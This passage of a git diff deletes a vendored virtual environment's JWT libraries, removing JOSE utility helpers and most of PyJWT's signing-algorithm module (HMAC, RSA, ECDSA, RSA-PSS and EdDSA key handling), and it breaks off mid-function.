len(ret) <= blocksize - padding = blocksize - len(ret) - return b"\x00" * padding + ret - - -def long_to_base64(data, size=0): - return base64.urlsafe_b64encode(long_to_bytes(data, size)).strip(b"=") - - -def int_arr_to_long(arr): - return int("".join(["%02x" % byte for byte in arr]), 16) - - -def base64_to_long(data): - if isinstance(data, str): - data = data.encode("ascii") - - # urlsafe_b64decode will happily convert b64encoded data - _d = base64.urlsafe_b64decode(bytes(data) + b"==") - return int_arr_to_long(struct.unpack("%sB" % len(_d), _d)) - - -def calculate_at_hash(access_token, hash_alg): - """Helper method for calculating an access token - hash, as described in http://openid.net/specs/openid-connect-core-1_0.html#CodeIDToken - - Its value is the base64url encoding of the left-most half of the hash of the octets - of the ASCII representation of the access_token value, where the hash algorithm - used is the hash algorithm used in the alg Header Parameter of the ID Token's JOSE - Header. For instance, if the alg is RS256, hash the access_token value with SHA-256, - then take the left-most 128 bits and base64url encode them. The at_hash value is a - case sensitive string. - - Args: - access_token (str): An access token string. - hash_alg (callable): A callable returning a hash object, e.g. hashlib.sha256 - - """ - hash_digest = hash_alg(access_token.encode("utf-8")).digest() - cut_at = int(len(hash_digest) / 2) - truncated = hash_digest[:cut_at] - at_hash = base64url_encode(truncated) - return at_hash.decode("utf-8") - - -def base64url_decode(input): - """Helper method to base64url_decode a string. - - Args: - input (bytes): A base64url_encoded string (bytes) to decode. - - """ - rem = len(input) % 4 - - if rem > 0: - input += b"=" * (4 - rem) - - return base64.urlsafe_b64decode(input) - - -def base64url_encode(input): - """Helper method to base64url_encode a string. - - Args: - input (bytes): A base64url_encoded string (bytes) to encode. - - """ - return base64.urlsafe_b64encode(input).replace(b"=", b"") - - -def timedelta_total_seconds(delta): - """Helper method to determine the total number of seconds - from a timedelta. - - Args: - delta (timedelta): A timedelta to convert to seconds. - """ - return delta.days * 24 * 60 * 60 + delta.seconds - - -def ensure_binary(s): - """Coerce **s** to bytes.""" - - if isinstance(s, bytes): - return s - if isinstance(s, str): - return s.encode("utf-8", "strict") - raise TypeError(f"not expecting type '{type(s)}'") - - -# The following was copied from PyJWT: -# https://github.com/jpadilla/pyjwt/commit/9c528670c455b8d948aff95ed50e22940d1ad3fc -# Based on: -# https://github.com/hynek/pem/blob/7ad94db26b0bc21d10953f5dbad3acfdfacf57aa/src/pem/_core.py#L224-L252 -_PEMS = { - b"CERTIFICATE", - b"TRUSTED CERTIFICATE", - b"PRIVATE KEY", - b"PUBLIC KEY", - b"ENCRYPTED PRIVATE KEY", - b"OPENSSH PRIVATE KEY", - b"DSA PRIVATE KEY", - b"RSA PRIVATE KEY", - b"RSA PUBLIC KEY", - b"EC PRIVATE KEY", - b"DH PARAMETERS", - b"NEW CERTIFICATE REQUEST", - b"CERTIFICATE REQUEST", - b"SSH2 PUBLIC KEY", - b"SSH2 ENCRYPTED PRIVATE KEY", - b"X509 CRL", -} -_PEM_RE = re.compile( - b"----[- ]BEGIN (" + b"|".join(re.escape(pem) for pem in _PEMS) + b")[- ]----", -) - - -def is_pem_format(key: bytes) -> bool: - return bool(_PEM_RE.search(key)) - - -# Based on -# https://github.com/pyca/cryptography/blob/bcb70852d577b3f490f015378c75cba74986297b -# /src/cryptography/hazmat/primitives/serialization/ssh.py#L40-L46 -_CERT_SUFFIX = b"-cert-v01@openssh.com" -_SSH_PUBKEY_RC = re.compile(rb"\A(\S+)[ \t]+(\S+)") -_SSH_KEY_FORMATS = [ - b"ssh-ed25519", - b"ssh-rsa", - b"ssh-dss", - b"ecdsa-sha2-nistp256", - b"ecdsa-sha2-nistp384", - b"ecdsa-sha2-nistp521", -] - - -def is_ssh_key(key: bytes) -> bool: - if any(string_value in key for string_value in _SSH_KEY_FORMATS): - return True - ssh_pubkey_match = _SSH_PUBKEY_RC.match(key) - if ssh_pubkey_match: - key_type = ssh_pubkey_match.group(1) - if _CERT_SUFFIX == key_type[-len(_CERT_SUFFIX) :]: - return True - return False diff --git a/venv/Lib/site-packages/jwt/__init__.py b/venv/Lib/site-packages/jwt/__init__.py deleted file mode 100644 index e85ab52d52af56f246a1c6abec9ad80193facb95..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/__init__.py +++ /dev/null @@ -1,78 +0,0 @@ -from .api_jwk import PyJWK, PyJWKSet -from .api_jws import ( - PyJWS, - get_algorithm_by_name, - get_unverified_header, - register_algorithm, - unregister_algorithm, -) -from .api_jwt import PyJWT, decode, decode_complete, encode -from .exceptions import ( - DecodeError, - ExpiredSignatureError, - ImmatureSignatureError, - InvalidAlgorithmError, - InvalidAudienceError, - InvalidIssuedAtError, - InvalidIssuerError, - InvalidKeyError, - InvalidSignatureError, - InvalidTokenError, - MissingRequiredClaimError, - PyJWKClientConnectionError, - PyJWKClientError, - PyJWKError, - PyJWKSetError, - PyJWTError, -) -from .jwks_client import PyJWKClient -from .warnings import InsecureKeyLengthWarning - -__version__ = "2.13.0" - -__title__ = "PyJWT" -__description__ = "JSON Web Token implementation in Python" -__url__ = "https://pyjwt.readthedocs.io" -__uri__ = __url__ -__doc__ = f"{__description__} <{__uri__}>" - -__author__ = "José Padilla" -__email__ = "hello@jpadilla.com" - -__license__ = "MIT" -__copyright__ = "Copyright 2015-2026 José Padilla" - - -__all__ = [ - "PyJWS", - "PyJWT", - "PyJWKClient", - "PyJWK", - "PyJWKSet", - "decode", - "decode_complete", - "encode", - "get_unverified_header", - "register_algorithm", - "unregister_algorithm", - "get_algorithm_by_name", - # Warnings - "InsecureKeyLengthWarning", - # Exceptions - "DecodeError", - "ExpiredSignatureError", - "ImmatureSignatureError", - "InvalidAlgorithmError", - "InvalidAudienceError", - "InvalidIssuedAtError", - "InvalidIssuerError", - "InvalidKeyError", - "InvalidSignatureError", - "InvalidTokenError", - "MissingRequiredClaimError", - "PyJWKClientConnectionError", - "PyJWKClientError", - "PyJWKError", - "PyJWKSetError", - "PyJWTError", -] diff --git a/venv/Lib/site-packages/jwt/algorithms.py b/venv/Lib/site-packages/jwt/algorithms.py deleted file mode 100644 index f848397b93b0cee4c1cc328266a6fe8c0f22a1b7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/jwt/algorithms.py +++ /dev/null @@ -1,1025 +0,0 @@ -from __future__ import annotations - -import hashlib -import hmac -import json -import os -import sys -from abc import ABC, abstractmethod -from typing import ( - TYPE_CHECKING, - Any, - ClassVar, - Literal, - NoReturn, - Union, - cast, - get_args, - overload, -) - -from .exceptions import InvalidKeyError -from .types import HashlibHash, JWKDict -from .utils import ( - base64url_decode, - base64url_encode, - der_to_raw_signature, - force_bytes, - from_base64url_uint, - is_pem_format, - is_ssh_key, - raw_to_der_signature, - to_base64url_uint, -) - -try: - from cryptography.exceptions import InvalidSignature, UnsupportedAlgorithm - from cryptography.hazmat.backends import default_backend - from cryptography.hazmat.primitives import hashes - from cryptography.hazmat.primitives.asymmetric import padding - from cryptography.hazmat.primitives.asymmetric.ec import ( - ECDSA, - SECP256K1, - SECP256R1, - SECP384R1, - SECP521R1, - EllipticCurve, - EllipticCurvePrivateKey, - EllipticCurvePrivateNumbers, - EllipticCurvePublicKey, - EllipticCurvePublicNumbers, - ) - from cryptography.hazmat.primitives.asymmetric.ed448 import ( - Ed448PrivateKey, - Ed448PublicKey, - ) - from cryptography.hazmat.primitives.asymmetric.ed25519 import ( - Ed25519PrivateKey, - Ed25519PublicKey, - ) - from cryptography.hazmat.primitives.asymmetric.rsa import ( - RSAPrivateKey, - RSAPrivateNumbers, - RSAPublicKey, - RSAPublicNumbers, - rsa_crt_dmp1, - rsa_crt_dmq1, - rsa_crt_iqmp, - rsa_recover_prime_factors, - ) - from cryptography.hazmat.primitives.serialization import ( - Encoding, - NoEncryption, - PrivateFormat, - PublicFormat, - load_pem_private_key, - load_pem_public_key, - load_ssh_public_key, - ) - - if sys.version_info >= (3, 10): - from typing import TypeAlias - else: - # Python 3.9 and lower - from typing_extensions import TypeAlias - - # Type aliases for convenience in algorithms method signatures - AllowedRSAKeys: TypeAlias = Union[RSAPrivateKey, RSAPublicKey] - AllowedECKeys: TypeAlias = Union[EllipticCurvePrivateKey, EllipticCurvePublicKey] - AllowedOKPKeys: TypeAlias = Union[ - Ed25519PrivateKey, Ed25519PublicKey, Ed448PrivateKey, Ed448PublicKey - ] - AllowedKeys: TypeAlias = Union[AllowedRSAKeys, AllowedECKeys, AllowedOKPKeys] - #: Type alias for allowed ``cryptography`` private keys (requires ``cryptography`` to be installed) - AllowedPrivateKeys: TypeAlias = Union[ - RSAPrivateKey, EllipticCurvePrivateKey, Ed25519PrivateKey, Ed448PrivateKey - ] - #: Type alias for allowed ``cryptography`` public keys (requires ``cryptography`` to be installed) - AllowedPublicKeys: TypeAlias = Union[ - RSAPublicKey, EllipticCurvePublicKey, Ed25519PublicKey, Ed448PublicKey - ] - - if TYPE_CHECKING or bool(os.getenv("SPHINX_BUILD", "")): - from cryptography.hazmat.primitives.asymmetric.types import ( - PrivateKeyTypes, - PublicKeyTypes, - ) - - has_crypto = True -except ModuleNotFoundError: - if sys.version_info >= (3, 11): - from typing import Never - else: - from typing_extensions import Never - - AllowedRSAKeys = Never # type: ignore[misc] - AllowedECKeys = Never # type: ignore[misc] - AllowedOKPKeys = Never # type: ignore[misc] - AllowedKeys = Never # type: ignore[misc] - AllowedPrivateKeys = Never # type: ignore[misc] - AllowedPublicKeys = Never # type: ignore[misc] - has_crypto = False - - -requires_cryptography = { - "RS256", - "RS384", - "RS512", - "ES256", - "ES256K", - "ES384", - "ES521", - "ES512", - "PS256", - "PS384", - "PS512", - "EdDSA", -} - - -def get_default_algorithms() -> dict[str, Algorithm]: - """ - Returns the algorithms that are implemented by the library. - """ - default_algorithms: dict[str, Algorithm] = { - "none": NoneAlgorithm(), - "HS256": HMACAlgorithm(HMACAlgorithm.SHA256), - "HS384": HMACAlgorithm(HMACAlgorithm.SHA384), - "HS512": HMACAlgorithm(HMACAlgorithm.SHA512), - } - - if has_crypto: - default_algorithms.update( - { - "RS256": RSAAlgorithm(RSAAlgorithm.SHA256), - "RS384": RSAAlgorithm(RSAAlgorithm.SHA384), - "RS512": RSAAlgorithm(RSAAlgorithm.SHA512), - "ES256": ECAlgorithm(ECAlgorithm.SHA256, SECP256R1), - "ES256K": ECAlgorithm(ECAlgorithm.SHA256, SECP256K1), - "ES384": ECAlgorithm(ECAlgorithm.SHA384, SECP384R1), - "ES521": ECAlgorithm(ECAlgorithm.SHA512, SECP521R1), - "ES512": ECAlgorithm( - ECAlgorithm.SHA512, SECP521R1 - ), # Backward compat for #219 fix - "PS256": RSAPSSAlgorithm(RSAPSSAlgorithm.SHA256), - "PS384": RSAPSSAlgorithm(RSAPSSAlgorithm.SHA384), - "PS512": RSAPSSAlgorithm(RSAPSSAlgorithm.SHA512), - "EdDSA": OKPAlgorithm(), - } - ) - - return default_algorithms - - -class Algorithm(ABC): - """ - The interface for an algorithm used to sign and verify tokens. - """ - - # pyjwt-964: Validate to ensure the key passed in was decoded to the correct cryptography key family - _crypto_key_types: tuple[type[AllowedKeys], ...] | None = None - - def compute_hash_digest(self, bytestr: bytes) -> bytes: - """ - Compute a hash digest using the specified algorithm's hash algorithm. - - If there is no hash algorithm, raises a NotImplementedError. - """ - # lookup self.hash_alg if defined in a way that mypy can understand - hash_alg = getattr(self, "hash_alg", None) - if hash_alg is None: - raise NotImplementedError - - if ( - has_crypto - and isinstance(hash_alg, type) - and issubclass(hash_alg, hashes.HashAlgorithm) - ): - digest = hashes.Hash(hash_alg(), backend=default_backend()) - digest.update(bytestr) - return bytes(digest.finalize()) - else: - return bytes(hash_alg(bytestr).digest()) - - def check_crypto_key_type(self, key: PublicKeyTypes | PrivateKeyTypes) -> None: - """Check that the key belongs to the right cryptographic family. - - Note that this method only works when ``cryptography`` is installed. - - :param key: Potentially a cryptography key - :type key: :py:data:`PublicKeyTypes ` | :py:data:`PrivateKeyTypes ` - :raises ValueError: if ``cryptography`` is not installed, or this method is called by a non-cryptography algorithm - :raises InvalidKeyError: if the key doesn't match the expected key classes - """ - if not has_crypto or self._crypto_key_types is None: - raise ValueError( - "This method requires the cryptography library, and should only be used by cryptography-based algorithms." - ) - - if not isinstance(key, self._crypto_key_types): - valid_classes = (cls.__name__ for cls in self._crypto_key_types) - actual_class = key.__class__.__name__ - self_class = self.__class__.__name__ - raise InvalidKeyError( - f"Expected one of {valid_classes}, got: {actual_class}. Invalid Key type for {self_class}" - ) - - @abstractmethod - def prepare_key(self, key: Any) -> Any: - """ - Performs necessary validation and conversions on the key and returns - the key value in the proper format for sign() and verify(). - """ - - @abstractmethod - def sign(self, msg: bytes, key: Any) -> bytes: - """ - Returns a digital signature for the specified message - using the specified key value. - """ - - @abstractmethod - def verify(self, msg: bytes, key: Any, sig: bytes) -> bool: - """ - Verifies that the specified digital signature is valid - for the specified message and key values. - """ - - @overload - @staticmethod - @abstractmethod - def to_jwk(key_obj: Any, as_dict: Literal[True]) -> JWKDict: ... # pragma: no cover - - @overload - @staticmethod - @abstractmethod - def to_jwk( - key_obj: Any, as_dict: Literal[False] = False - ) -> str: ... # pragma: no cover - - @staticmethod - @abstractmethod - def to_jwk(key_obj: Any, as_dict: bool = False) -> JWKDict | str: - """ - Serializes a given key into a JWK - """ - - @staticmethod - @abstractmethod - def from_jwk(jwk: str | JWKDict) -> Any: - """ - Deserializes a given key from JWK back into a key object - """ - - def check_key_length(self, key: Any) -> str | None: - """ - Return a warning message if the key is below the minimum - recommended length for this algorithm, or None if adequate. - """ - return None - - -class NoneAlgorithm(Algorithm): - """ - Placeholder for use when no signing or verification - operations are required. - """ - - def prepare_key(self, key: str | None) -> None: - if key == "": - key = None - - if key is not None: - raise InvalidKeyError('When alg = "none", key value must be None.') - - return key - - def sign(self, msg: bytes, key: None) -> bytes: - return b"" - - def verify(self, msg: bytes, key: None, sig: bytes) -> bool: - return False - - @staticmethod - def to_jwk(key_obj: Any, as_dict: bool = False) -> NoReturn: - raise NotImplementedError() - - @staticmethod - def from_jwk(jwk: str | JWKDict) -> NoReturn: - raise NotImplementedError() - - -class HMACAlgorithm(Algorithm): - """ - Performs signing and verification operations using HMAC - and the specified hash function. - """ - - SHA256: ClassVar[HashlibHash] = hashlib.sha256 - SHA384: ClassVar[HashlibHash] = hashlib.sha384 - SHA512: ClassVar[HashlibHash] = hashlib.sha512 - - def __init__(self, hash_alg: HashlibHash) -> None: - self.hash_alg = hash_alg - - def prepare_key(self, key: str | bytes) -> bytes: - key_bytes = force_bytes(key) - - if len(key_bytes) == 0: - raise InvalidKeyError("HMAC key must not be empty.") - - if is_pem_format(key_bytes) or is_ssh_key(key_bytes): - raise InvalidKeyError( - "The specified key is an asymmetric key or x509 certificate and" - " should not be used as an HMAC secret." - ) - - # Defense against algorithm-confusion attacks: an attacker with - # control over the token header can force this code path by setting - # alg=HS*, and HMACAlgorithm is the only algorithm that accepts - # arbitrary bytes as a valid secret. Other algorithms reject - # non-key-shaped input naturally. Even a symmetric (kty=oct) JWK - # should be loaded via PyJWK / from_jwk rather than fed as raw JSON - # bytes (whose contents are not the secret material). - stripped = key_bytes.lstrip() - if stripped.startswith(b"{"): - try: - jwk_obj = json.loads(key_bytes) - except ValueError: - jwk_obj = None - if isinstance(jwk_obj, dict) and "kty" in jwk_obj: - raise InvalidKeyError( - "The specified key looks like a JWK and should not be " - "used directly as an HMAC secret. Load it via " - "PyJWK / HMACAlgorithm.from_jwk first." - ) - - return key_bytes - - @overload - @staticmethod - def to_jwk(key_obj: str | bytes, as_dict: Literal[True]) -> JWKDict: ... - - @overload - @staticmethod - def to_jwk(key_obj: str | bytes, as_dict: Literal[False] = False) -> str: ... - - @staticmethod - def to_jwk(key_obj: str | bytes, as_dict: bool = False) -> JWKDict | str: - jwk = { - "k": base64url_encode(force_bytes(key_obj)).decode(), - "kty": "oct", - } - - if as_dict: - return jwk - else: - return json.dumps(jwk) - - @staticmethod - def from_jwk(jwk: str | JWKDict) -> bytes: - try: - if isinstance(jwk, str): - obj: JWKDict = json.loads(jwk) - elif isinstance(jwk, dict): - obj = jwk - else: - raise ValueError - except ValueError: - raise InvalidKeyError("Key is not valid JSON") from None - - if obj.get("kty") != "oct": - raise InvalidKeyError("Not an HMAC key") - - return base64url_decode(obj["k"]) - - def check_key_length(self, key: bytes) -> str | None: - min_length = self.hash_alg().digest_size - if len(key) < min_length: - return ( - f"The HMAC key is {len(key)} bytes long, which is below " - f"the minimum recommended length of {min_length} bytes for " - f"{self.hash_alg().name.upper()}. " - f"See RFC 7518 Section 3.2." - ) - return None - - def sign(self, msg: bytes, key: bytes) -> bytes: - return hmac.new(key, msg, self.hash_alg).digest() - - def verify(self, msg: bytes, key: bytes, sig: bytes) -> bool: - return hmac.compare_digest(sig, self.sign(msg, key)) - - -if has_crypto: - - class RSAAlgorithm(Algorithm): - """ - Performs signing and verification operations using - RSASSA-PKCS-v1_5 and the specified hash function. - """ - - SHA256: ClassVar[type[hashes.HashAlgorithm]] = hashes.SHA256 - SHA384: ClassVar[type[hashes.HashAlgorithm]] = hashes.SHA384 - SHA512: ClassVar[type[hashes.HashAlgorithm]] = hashes.SHA512 - - _crypto_key_types = cast( - tuple[type[AllowedKeys], ...], - get_args(Union[RSAPrivateKey, RSAPublicKey]), - ) - _MIN_KEY_SIZE: ClassVar[int] = 2048 - - def __init__(self, hash_alg: type[hashes.HashAlgorithm]) -> None: - self.hash_alg = hash_alg - - def check_key_length(self, key: AllowedRSAKeys) -> str | None: - if key.key_size < self._MIN_KEY_SIZE: - return ( - f"The RSA key is {key.key_size} bits long, which is below " - f"the minimum recommended size of {self._MIN_KEY_SIZE} bits. " - f"See NIST SP 800-131A." - ) - return None - - def prepare_key(self, key: AllowedRSAKeys | str | bytes) -> AllowedRSAKeys: - if isinstance(key, self._crypto_key_types): - # Cast is required for type narrowing on Python 3.9's mypy - # but redundant on newer mypy versions; suppress both - # diagnostics so the line works across all supported envs. - return cast(AllowedRSAKeys, key) # type: ignore[redundant-cast,unused-ignore] - - if not isinstance(key, (bytes, str)): - raise TypeError("Expecting a PEM-formatted key.") - - key_bytes = force_bytes(key) - - try: - if key_bytes.startswith(b"ssh-rsa"): - public_key: PublicKeyTypes = load_ssh_public_key(key_bytes) - self.check_crypto_key_type(public_key) - return cast(RSAPublicKey, public_key) - else: - private_key: PrivateKeyTypes = load_pem_private_key( - key_bytes, password=None - ) - self.check_crypto_key_type(private_key) - return cast(RSAPrivateKey, private_key) - except ValueError: - try: - public_key = load_pem_public_key(key_bytes) - self.check_crypto_key_type(public_key) - return cast(RSAPublicKey, public_key) - except (ValueError, UnsupportedAlgorithm): - raise InvalidKeyError( - "Could not parse the provided public key." - ) from None - - @overload - @staticmethod - def to_jwk(key_obj: AllowedRSAKeys, as_dict: Literal[True]) -> JWKDict: ... - - @overload - @staticmethod - def to_jwk(key_obj: AllowedRSAKeys, as_dict: Literal[False] = False) -> str: ... - - @staticmethod - def to_jwk(key_obj: AllowedRSAKeys, as_dict: bool = False) -> JWKDict | str: - obj: dict[str, Any] | None = None - - if hasattr(key_obj, "private_numbers"): - # Private key - numbers = key_obj.private_numbers() - - obj = { - "kty": "RSA", - "key_ops": ["sign"], - "n": to_base64url_uint(numbers.public_numbers.n).decode(), - "e": to_base64url_uint(numbers.public_numbers.e).decode(), - "d": to_base64url_uint(numbers.d).decode(), - "p": to_base64url_uint(numbers.p).decode(), - "q": to_base64url_uint(numbers.q).decode(), - "dp": to_base64url_uint(numbers.dmp1).decode(), - "dq": to_base64url_uint(numbers.dmq1).decode(), - "qi": to_base64url_uint(numbers.iqmp).decode(), - } - - elif hasattr(key_obj, "verify"): - # Public key - numbers = key_obj.public_numbers() - - obj = { - "kty": "RSA", - "key_ops": ["verify"], - "n": to_base64url_uint(numbers.n).decode(), - "e": to_base64url_uint(numbers.e).decode(), - } - else: - raise InvalidKeyError("Not a public or private key") - - if as_dict: - return obj - else: - return json.dumps(obj) - - @staticmethod - def from_jwk(jwk: str | JWKDict) -> AllowedRSAKeys: - try: - if isinstance(jwk, str): - obj = json.loads(jwk) - elif isinstance(jwk, dict): - obj = jwk - else: - raise ValueError - except ValueError: - raise InvalidKeyError("Key is not valid JSON") from None - - if obj.get("kty") != "RSA": - raise InvalidKeyError("Not an RSA key") from None - - if "d" in obj and "e" in obj and "n" in obj: - # Private key - if "oth" in obj: - raise InvalidKeyError( - "Unsupported RSA private key: > 2 primes not supported" - ) - - other_props = ["p", "q", "dp", "dq", "qi"] - props_found = [prop in obj for prop in other_props] - any_props_found = any(props_found) - - if any_props_found and not all(props_found): - raise InvalidKeyError( - "RSA key must include all parameters if any are present besides d" - ) from None - - public_numbers = RSAPublicNumbers( - from_base64url_uint(obj["e"]), - from_base64url_uint(obj["n"]), - ) - - if any_props_found: - numbers = RSAPrivateNumbers( - d=from_base64url_uint(obj["d"]), - p=from_base64url_uint(obj["p"]), - q=from_base64url_uint(obj["q"]), - dmp1=from_base64url_uint(obj["dp"]), - dmq1=from_base64url_uint(obj["dq"]), - iqmp=from_base64url_uint(obj["qi"]), - public_numbers=public_numbers, - ) - else: - d = from_base64url_uint(obj["d"]) - p, q = rsa_recover_prime_factors( - public_numbers.n, d, public_numbers.e - ) - - numbers = RSAPrivateNumbers( - d=d, - p=p, - q=q, - dmp1=rsa_crt_dmp1(d, p), - dmq1=rsa_crt_dmq1(d, q), - iqmp=rsa_crt_iqmp(p, q), - public_numbers=public_numbers, - ) - - return numbers.private_key() - elif "n" in obj and "e" in obj: - # Public key - return RSAPublicNumbers( - from_base64url_uint(obj["e"]), - from_base64url_uint(obj["n"]), - ).public_key() - else: - raise InvalidKeyError("Not a public or private key") - - def sign(self, msg: bytes, key: RSAPrivateKey) -> bytes: - signature: bytes = key.sign(msg, padding.PKCS1v15(), self.hash_alg()) - return signature - - def verify(self, msg: bytes, key: RSAPublicKey, sig: bytes) -> bool: - try: - key.verify(sig, msg, padding.PKCS1v15(), self.hash_alg()) - return True - except InvalidSignature: - return False - - class ECAlgorithm(Algorithm): - """ - Performs signing and verification operations using - ECDSA and the specified hash function - """ - - SHA256: ClassVar[type[hashes.HashAlgorithm]] = hashes.SHA256 - SHA384: ClassVar[type[hashes.HashAlgorithm]] = hashes.SHA384 - SHA512: ClassVar[type[hashes.HashAlgorithm]] = hashes.SHA512 - - _crypto_key_types = cast( - tuple[type[AllowedKeys], ...], - get_args(Union[EllipticCurvePrivateKey, EllipticCurvePublicKey]), - ) - - def __init__( - self, - hash_alg: type[hashes.HashAlgorithm], - expected_curve: type[EllipticCurve] | None = None, - ) -> None: - self.hash_alg = hash_alg - self.expected_curve = expected_curve - - def _validate_curve(self, key: AllowedECKeys) -> None: - """Validate that the key's curve matches the expected curve.""" - if self.expected_curve is None: - return - - if not isinstance(key.curve, self.expected_curve): - raise InvalidKeyError( - f"The key's curve '{key.curve.name}' does not match the expected " - f"curve '{self.expected_curve.name}' for this algorithm" - ) - - def prepare_key(self, key: AllowedECKeys | str | bytes) -> AllowedECKeys: - if isinstance(key, self._crypto_key_types): - # See note in RSAAlgorithm.prepare_key. - ec_key = cast(AllowedECKeys, key) # type: ignore[redundant-cast,unused-ignore] - self._validate_curve(ec_key) - return ec_key - - if not isinstance(key, (bytes, str)): - raise TypeError("Expecting a PEM-formatted key.") - - key_bytes = force_bytes(key) - - # Attempt to load key. We don't know if it's - # a Signing Key or a Verifying Key, so we try - # the Verifying Key first. - try: - if key_bytes.startswith(b"ecdsa-sha2-"): - public_key: PublicKeyTypes = load_ssh_public_key(key_bytes) - else: - public_key = load_pem_public_key(key_bytes) - - # Explicit check the key to prevent confusing errors from cryptography - self.check_crypto_key_type(public_key) - ec_public_key = cast(EllipticCurvePublicKey, public_key) - self._validate_curve(ec_public_key) - return ec_public_key - except ValueError: - private_key = load_pem_private_key(key_bytes, password=None) - self.check_crypto_key_type(private_key) - ec_private_key = cast(EllipticCurvePrivateKey, private_key) - self._validate_curve(ec_private_key) - return ec_private_key - - def sign(self, msg: bytes, key: EllipticCurvePrivateKey) -> bytes: - der_sig = key.sign(msg, ECDSA(self.hash_alg())) - - return der_to_raw_signature(der_sig, key.curve) - - def verify(self, msg: bytes, key: AllowedECKeys, sig: bytes) -> bool: - try: - der_sig = raw_to_der_signature(sig, key.curve) - except ValueError: - return False - - try: - public_key = ( - key.public_key() - if isinstance(key, EllipticCurvePrivateKey) - else key - ) - public_key.verify(der_sig, msg, ECDSA(self.hash_alg())) - return True - except InvalidSignature: - return False - - @overload - @staticmethod - def to_jwk(key_obj: AllowedECKeys, as_dict: Literal[True]) -> JWKDict: ... - - @overload - @staticmethod - def to_jwk(key_obj: AllowedECKeys, as_dict: Literal[False] = False) -> str: ... - - @staticmethod - def to_jwk(key_obj: AllowedECKeys, as_dict: bool = False) -> JWKDict | str: - if isinstance(key_obj, EllipticCurvePrivateKey): - public_numbers = key_obj.public_key().public_numbers() - elif isinstance(key_obj, EllipticCurvePublicKey): - public_numbers = key_obj.public_numbers() - else: - raise InvalidKeyError("Not a public or private key") - - if isinstance(key_obj.curve, SECP256R1): - crv = "P-256" - elif isinstance(key_obj.curve, SECP384R1): - crv = "P-384" - elif isinstance(key_obj.curve, SECP521R1): - crv = "P-521" - elif isinstance(key_obj.curve, SECP256K1): - crv = "secp256k1" - else: - raise InvalidKeyError(f"Invalid curve: {key_obj.curve}") - - obj: dict[str, Any] = { - "kty": "EC", - "crv": crv, - "x": to_base64url_uint( - public_numbers.x, - bit_length=key_obj.curve.key_size, - ).decode(), - "y": to_base64url_uint( - public_numbers.y, - bit_length=key_obj.curve.key_size, - ).decode(), - } - - if isinstance(key_obj, EllipticCurvePrivateKey): - obj["d"] = to_base64url_uint( - key_obj.private_numbers().private_value, - bit_length=key_obj.curve.key_size, - ).decode() - - if as_dict: - return obj - else: - return json.dumps(obj) - - @staticmethod - def from_jwk(jwk: str | JWKDict) -> AllowedECKeys: - try: - if isinstance(jwk, str): - obj = json.loads(jwk) - elif isinstance(jwk, dict): - obj = jwk - else: - raise ValueError - except ValueError: - raise InvalidKeyError("Key is not valid JSON") from None - - if obj.get("kty") != "EC": - raise InvalidKeyError("Not an Elliptic curve key") from None - - if "x" not in obj or "y" not in obj: - raise InvalidKeyError("Not an Elliptic curve key") from None - - x = base64url_decode(obj.get("x")) - y = base64url_decode(obj.get("y")) - - curve = obj.get("crv") - curve_obj: EllipticCurve - - if curve == "P-256": - if len(x) == len(y) == 32: - curve_obj = SECP256R1() - else: - raise InvalidKeyError( - "Coords should be 32 bytes for curve P-256" - ) from None - elif curve == "P-384": - if len(x) == len(y) == 48: - curve_obj = SECP384R1() - else: - raise InvalidKeyError( - "Coords should be 48 bytes for curve P-384" - ) from None - elif curve == "P-521": - if len(x) == len(y) == 66: - curve_obj = SECP521R1() - else: - raise InvalidKeyError( - "Coords should be 66 bytes for curve P-521" - ) from None - elif curve == "secp256k1": - if len(x) == len(y) == 32: - curve_obj = SECP256K1() - else: - raise InvalidKeyError( - "Coords should be 32 bytes for curve secp256k1" - ) - else: - raise InvalidKeyError(f"Invalid curve: {curve}") - - public_numbers = EllipticCurvePublicNumbers( - x=int.from_bytes(x, byteorder="big"), - y=int.from_bytes(y, byteorder="big"), - curve=curve_obj, - ) - - if "d" not in obj: - return public_numbers.public_key() - - d = base64url_decode(obj.get("d")) - if len(d) != len(x): - raise InvalidKeyError( - "D should be {} bytes for curve {}", len(x), curve - ) - - return EllipticCurvePrivateNumbers( - int.from_bytes(d, byteorder="big"), public_numbers - ).private_key() - - class RSAPSSAlgorithm(RSAAlgorithm): - """ - Performs a signature using RSASSA-PSS with MGF1 - """ - - def sign(self, msg: bytes, key: RSAPrivateKey) -> bytes: - signature: bytes = key.sign( - msg, - padding.PSS( - mgf=padding.MGF1(self.hash_alg()), - salt_length=self.hash_alg().digest_size, - ), - self.hash_alg(), - ) - return signature - - def verify(self, msg: bytes, key: RSAPublicKey, sig: bytes) -> bool: - try: - key.verify( - sig, - msg, - padding.PSS( - mgf=padding.MGF1(self.hash_alg()), - salt_length=self.hash_alg().digest_size, - ), - self.hash_alg(), - ) - return True - except InvalidSignature: - return False - - class OKPAlgorithm(Algorithm): - """ - Performs signing and verification operations using EdDSA - - This class requires ``cryptography>=2.6`` to be installed. - """ - - _crypto_key_types = cast( - tuple[type[AllowedKeys], ...], - get_args( - Union[ - Ed25519PrivateKey, - Ed25519PublicKey, - Ed448PrivateKey, - Ed448PublicKey, - ] - ), - ) - - def __init__(self, **kwargs: Any) -> None: - pass - - def prepare_key(self, key: AllowedOKPKeys | str | bytes) -> AllowedOKPKeys: - if not isinstance(key, (str, bytes)): - self.check_crypto_key_type(key) - return key - - key_str = key.decode("utf-8") if isinstance(key, bytes) else key - key_bytes = key.encode("utf-8") if isinstance(key, str) else key - - loaded_key: PublicKeyTypes | PrivateKeyTypes - if "-----BEGIN PUBLIC" in key_str: - loaded_key = load_pem_public_key(key_bytes) - elif "-----BEGIN PRIVATE" in key_str: - loaded_key = load_pem_private_key(key_bytes, password=None) - elif key_str[0:4] == "ssh-": - loaded_key = load_ssh_public_key(key_bytes) - else: - raise InvalidKeyError("Not a public or private key") - - # Explicit check the key to prevent confusing errors from cryptography - self.check_crypto_key_type(loaded_key) - return cast("AllowedOKPKeys", loaded_key) - - def sign( - self, msg: str | bytes, key: Ed25519PrivateKey | Ed448PrivateKey - ) -> bytes: - """ - Sign a message ``msg`` using the EdDSA private key ``key`` - :param str|bytes msg: Message to sign - :param Ed25519PrivateKey}Ed448PrivateKey key: A :class:`.Ed25519PrivateKey` - or :class:`.Ed448PrivateKey` isinstance - :return bytes signature: The signature, as bytes - """ - msg_bytes = msg.encode("utf-8") if isinstance(msg, str) else msg - signature: bytes = key.sign(msg_bytes) - return signature - - def verify( - self, msg: str | bytes, key: 